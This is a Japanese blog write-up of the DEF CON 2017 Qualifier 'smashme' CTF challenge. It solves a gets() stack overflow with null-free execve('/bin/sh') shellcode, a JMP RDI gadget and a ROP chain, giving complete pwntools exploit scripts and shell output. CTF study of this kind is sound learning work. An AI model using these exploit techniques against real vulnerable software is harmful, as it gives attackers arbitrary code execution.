smashme(DEFCON Qual 2017)をShellcodeとROPで解く

経緯

CTFのコンテストに初めて参加する前に「入門 セキュリティコンテスト」という本を買ったのだが、それを今更読んでいるとPwnの例題としてSECCON2017 Qualの「baby_stack」という問題が紹介されていた。 その解法として紹介されていたROPという手法が興味深かったので勉強してみた(本当はCosmic Rayの前にこちらをやろうと思ってたのだが、どう考えてもこっちのほうが難しい内容だと思ったので順番を入れ替えた)

ShellCodeについて

Cosmic Rayではスタックバッファオーバーフローを利用してスタックに格納されているmain関数のリターンアドレスをwin関数のアドレスに書き換えることでflagを取得したが、プログラムの内部に攻撃者にとって都合のいい関数がそのまま用意されているとは限らない。 そういった処理が存在しない場合であっても、スタック領域に実行したい処理を機械語で書き込んでからジャンプすることで任意の処理を実行させることができる。 シェルを起動する場合が多いことから、こういったコードはシェルコードと呼ばれている(転じて、シェルを起動しない場合もシェルコードと呼ぶらしい)

アセンブリでシェルを起動する方法

アセンブリでシェルを起動するにはSYSCALL命令を利用する。 64bit環境でシステムコールからシェルを起動する(execve("/bin/sh", NULL, NULL)を呼び出す)場合は

よって、単純には

mov rax, 0x0068732f6e69622f;    "/bin/sh"
push rax;   スタックに積む
mov rax, 0x3b;  システムコール番号59
mov rdi, rsp;   第一引数("/bin/sh"のポインタ=スタックの現在位置)
mov rsi, 0x0;   第二引数(NULL)
mov rdx, 0x0;   第三引数(NULL)
syscall;

を実行すればよい。 これを機械語に変換すると

$ nasm -f elf64 code.asm && ld code.o -o code.out
$ objdump -M intel -d code.out

code.out:     file format elf64-x86-64


Disassembly of section .text:

0000000000401000 <__bss_start-0x1000>:
  401000:       48 b8 2f 62 69 6e 2f    movabs rax,0x68732f6e69622f
  401007:       73 68 00
  40100a:       50                      push   rax
  40100b:       b8 3b 00 00 00          mov    eax,0x3b
  401010:       48 89 e7                mov    rdi,rsp
  401013:       be 00 00 00 00          mov    esi,0x0
  401018:       ba 00 00 00 00          mov    edx,0x0
  40101d:       0f 05                   syscall

となる。

しかし、一般にはシェルコードの途中にヌル終端文字(0x00)を用いることができないらしい。 ヌル文字を用いることなく同様の処理を実行するには、たとえば次のように書き換えることができる。

  401000:       48 31 f6                xor    rsi,rsi
  401003:       56                      push   rsi
  401004:       48 b8 2f 62 69 6e 2f    movabs rax,0x68732f2f6e69622f
  40100b:       2f 73 68
  40100e:       50                      push   rax
  40100f:       48 31 c0                xor    rax,rax
  401012:       b0 3b                   mov    al,0x3b
  401014:       48 89 e7                mov    rdi,rsp
  401017:       48 31 d2                xor    rdx,rdx
  40101a:       0f 05                   syscall

文字列を"/bin//sh"に書き換えることで0埋めが起こらないようにした。 同時に、あらかじめ0をpushしておくことで終端文字の代わりとした。

追記:シェルコードにnull文字が使えないというのは2023年9月現在Wikipediaに書かれている記述を参考にしている。 しかし、実際のところシェルコードにおいてnull文字を使ってはいけないのは「null文字を文字列の終端とみなす関数(C言語のstrcpyなど)をシェルコードが通ることで動作に支障がある場合」であり、すべてのシェルコードにおいてということではない。 (このあとROPを勉強しているときに普通にnull文字を送信しているexploitコードを見て気づいた)
smashmeの場合においては入力に特定の文字列が含まれているかどうかをstrstrで判定しているため、キー文字列の前にnull文字があると判定に失敗してしまう。 かといってキー文字列をシェルコードより前に持ってくるとJMP RDIで命令の先頭に飛べないため、結果的にnull文字排除を行うべきだと考えられる。

smashme (DEF CON CTF Qualifier 2017)

ここで、練習のためにシェルコードが想定解となっている問題を一つ探して解いてみる。

問題概要

与えられたバイナリを実行すると入力を求められ、文字列を入力するとそのまま終了する。

$ ./smashme 
Welcome to the Dr. Phil Show. Wanna smash?
yes

解法

まず、与えられたバイナリに対してchecksecを実行して「NX disabled, NO PIE」となっていることを確認する。

$ checksec --file=smashme
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE
Partial RELRO   No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   1886) Symbols     No    0               0               smashme

さらに、Ghidraを使って逆コンパイルするとmain関数の挙動がわかる。

undefined8 main(void)
{
  char *pcVar1;
  char local_48 [64];
  
  puts("Welcome to the Dr. Phil Show. Wanna smash?");
  fflush((FILE *)stdin);
  gets(local_48);
  pcVar1 = strstr(local_48,"Smash me outside, how bout dAAAAAAAAAAA");
  if (pcVar1 != (char *)0x0) {
    return 0;
  }
  exit(0);
}

動作としては見ての通りで、一度だけ入力を受け付けて、入力された文字列に特定の文字列が含まれていればreturnするが、そうでなければ即座に終了するというもの。 入力の受け取りにgetsを使っているのでスタックバッファオーバーフロー脆弱性があるというのがポイント。

今回はこの脆弱性を利用して任意コード実行を行い、システムコールでシェルを起動することでディレクトリ内に存在するflag.txtの内容を盗み見ることを考える。 そこで、先ほど作ったシェルコードをスタックに埋め込んで実行したい。

gdbで調べたところ、入力文字列が入るメモリアドレスの先頭は 0x7fffffffe010 、main関数のリターンアドレスの先頭は 0x7fffffffe058 だった。 入力に含める必要がある文字列を最初に持ってきた場合、自由に使えるアドレスは 0x7fffffffe037 からということになる。 リターンアドレスまでは33バイト使えて、先程作ったシェルコードは28バイトなので埋め込めそうだ。 余った部分はNOP命令(0x90)で埋めて、最後にリターンアドレスを 0x7fffffffe037 で上書きしてみる。

$ (python2 -c 'print "Smash me outside, how bout dAAAAAAAAAAA" + "\x48\x31\xf6\x56\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x31\xc0\xb0\x3b\x48\x89\xe7\x48\x31\xd2\x0f\x05" + "\x90\x90\x90\x90\x90" + "\x37\xe0\xff\xff\xff\x7f\x00\x00"') | ./smashme
Welcome to the Dr. Phil Show. Wanna smash?
Segmentation fault

これを実行したところ、うまくいかなかった。

gdbでメモリを見ながらデバッグしてみると、シェルコードの処理中に値を2回pushしているせいでシェルコード自体を上書きしてしまっているようだった。 通常であればテキスト領域とスタック領域はメモリの両端にあるのでスタックに書き込んだ値がコードを上書きしてしまうということはないが、今回はスタック領域にコードを書き込んで無理やり実行しているのでこういうことが起こるらしい。

しかも、スクショを取ろうと思って別の端末で同じことをやったらスタックのアドレスが違っていた。 先程はリターンアドレスを 0x7fffffffe037 で決め打ちしていたが、端末によってスタックのアドレスが異なるのであればこの方法は使えない(コンテスト本番では実行ファイルはローカルではなくサーバ上にあるため)。 スタックに対してASLRが適用されており、ランダムなオフセットが入っているようだった。

シェルコードの上書きに対しては、挿入する文字列の順序を入れ替えて不要な部分を後に持ってくることで対応できそうだ。 スタックアドレスのオフセットについては解法を調べた(カンニング)ところ、入力した文字列の先頭アドレスがRDIレジスタに入っているので JMP RDI 命令を使ってジャンプできるということだった。 JMP RDI という命令そのものはプログラムの中に含まれていないが、0x4c4e1bに「0xff 0xe7」という配列があるため、ここに跳ぶことでJMP RDIを実行することができる。

このようにしてできたシェルコードは

$ (python2 -c 'print "\x48\x31\xf6\x56\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x31\xc0\xb0\x3b\x48\x89\xe7\x48\x31\xd2\x0f\x05" + "Smash me outside, how bout dAAAAAAAAAAA" + "\x90\x90\x90\x90\x90" + "\x1b\x4e\x4c\x00\x00\x00\x00\x00"') | ./smashme
Welcome to the Dr. Phil Show. Wanna smash?

である。 これを実行してもシェルは開かなかったのだが、GDBで確認するとSYSCALL前のレジスタやメモリの状況としては完全に想定したものになっていた。

SYSCALLの直前

ここで、同じシェルコードをPython2のpwntoolsから注入することでシェルを開くことができた。

from pwn import *

r=process('./smashme')
r.recvuntil("Welcome to the Dr. Phil Show. Wanna smash?")
r.sendline("\x48\x31\xf6\x56\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x31\xc0\xb0\x3b\x48\x89\xe7\x48\x31\xd2\x0f\x05" + "Smash me outside, how bout dAAAAAAAAAAA" + "\x90\x90\x90\x90\x90" + "\x1b\x4e\x4c\x00\x00\x00\x00\x00")
r.interactive()
$ python2 exploit.py 
[+] Starting local process './smashme': pid 4578                                                                                                                                        
[*] Switching to interactive mode

$ cat flag.txt
TAKEO{You_got_the_flag!}

シェルが開いているので、ディレクトリにあるファイルを見たり、ファイルを作ったり消したりと(権限の範囲で)何でもすることができる。 catコマンドで用意しておいたflagを表示させて終了。

結局pwntoolsからでないとうまくいかない理由は分からなかったが、何とか標準入力で成功させようと試行錯誤して2日ほど無駄にしてしまった。 最初 JMP RDI ではなく CALL RDI に飛ぼうと思っていたが、標準入力を使った場合はCALL命令が実行できないという問題もあった。 最初から素直にツールを使いましょう(1敗)

試行錯誤の過程でかなりアセンブリに対する理解は深まった気がするのでいいということにしておく。

ROPについて

smashmeでは外部から命令を注入してシェルを開くことに成功したが、NX bitが有効になっている場合にはそもそもスタック領域のデータを命令として実行することはできない。 こういった場合に用いられる攻撃手法がROP(Return Oriented Programming)である。

ROPはプログラム中に元々存在する命令だけを使って任意コード実行を行う手法で、スタックバッファオーバーフロー脆弱性を利用してスタック領域にあらかじめデータを仕込んでおき、RET命令で終わるコード片に順番にジャンプし続けるというもの。

smashmeをROPで解く

当初は「入門 セキュリティコンテスト」に載っている baby_stack という問題を解こうと思っていたのだが、どうしても解法をなぞるだけになってしまうので代わりにsmashmeをROPで解いてみることにした。

解法

シェルコードによる解法と同じく、目的はシェルを開くこと(RAX, RDI, RSI, RDXに値を入れ、SYSCALL命令を呼び出すこと)である。

まずはrp++を使って目的のコード片(ガジェット)を探す。

$ ./rp-lin-x64 --file=smashme --rop=5 | grep "pop rax ; ret"
0x004c3b26: add byte [rax], al ; pop rax ; ret  ;  (1 found)
0x004099f2: and al, 0xE8 ; pop rax ; retn 0xFFFF ;  (1 found)
0x004c3b28: pop rax ; ret  ;  (1 found)
0x004099f4: pop rax ; retn 0xFFFF ;  (1 found)

実行ファイルの中に目当てのガジェットがない場合は途中で別の命令が挟まったもので代用する必要があるとのことだが、今回は必要な命令をすべて単体で見つけることができた。

0x004c3b28: pop rax ; ret  ;  (1 found)
0x004014d6: pop rdi ; ret  ;  (1 found)
0x004015f7: pop rsi ; ret  ;  (1 found)
0x00441e46: pop rdx ; ret  ;  (1 found)
0x00479b62: mov qword [rdi], rsi ; ret  ;  (1 found)
0x004003da: syscall  ;  (1 found)

これらの命令を組み合わせてシェルを開くコードを作る。 POPやRETではスタックから値を取り出してレジスタにロードするので、ガジェットのアドレスとロードしたい値を交互にスタックに書き込んでいき、最初のアドレスがmain関数のリターンアドレスを上書きするように位置を調整する。 今回はスタック領域で命令を実行するわけではないのでキー文字列を最初に持ってくることができて、null文字がなくなるようにコードを調整する必要はない。

シェルコードの場合は途中で "/bin//sh" の文字列をスタックにPUSHしてRSPレジスタの値を第一引数としていたが、今回はスタックから値を取り出していくのでこの方法は使えない(入力する文字列を"/bin/sh"から開始すればRDIレジスタの値がパスの先頭アドレスを指していることになるが、パスの最後に終端文字を入れることができない)

そこでスタックからパスを一度取り出して.bssセクションに書き込んでいる。 .bssは初期値をもたない変数を格納するセクションであり、その性質上常に書き込み可能な領域である。

# coding: utf-8
from pwn import *

r = process("./smashme")
r.recvuntil("Welcome to the Dr. Phil Show. Wanna smash?")

bss = 0x6cab60  # bss領域の先頭アドレス
rop_chain = ""

# RDIにBSS領域の先頭アドレスを格納し、そのアドレスに"/bin/sh\x00"を書き込む
rop_chain += p64(0x004014d6)    # pop rdi ; ret  ;
rop_chain += p64(bss)
rop_chain += p64(0x004015f7)    # pop rsi ; ret  ;
rop_chain += "/bin/sh\x00"
rop_chain += p64(0x00479b62)    # mov qword [rdi], rsi ; ret  ;

# 各引数に値を格納する
rop_chain += p64(0x004c3b28)    # pop rax ; ret  ;
rop_chain += p64(0x3b)
rop_chain += p64(0x004015f7)    # pop rsi ; ret  ;
rop_chain += p64(0x0)
rop_chain += p64(0x00441e46)    # pop rdx ; ret  ;
rop_chain += p64(0x0)

# SYSCALL命令を実行
rop_chain += p64(0x004003da)    # syscall  ;

r.sendline("Smash me outside, how bout dAAAAAAAAAAA" + "\x00" * 33 + rop_chain)
r.interactive()

これを実行すると、シェルを開いてフラッグの内容を表示することができた。

$ python2 exploit.py
[+] Starting local process './smashme': pid 1738
[*] Switching to interactive mode

$ cat flag.txt
TAKEO{You_got_the_flag!}

感想

今回はsmashmeという問題を2つの手法を使って解いてみた。

開始から記事を書き終えるまで5日ほどかかっているが、実際に自分でやってみることでかなり勉強になった。 パソコンを使っていると「脆弱性」という言葉はよく聞くが、脆弱性の種類によっては簡単に任意コード実行に繋げられるということで、その重大さがよりリアルなものとして感じられるようになった気がした。

標準入力からだとSYSCALLがうまくいかなかった理由が分かる人がいたら教えてください。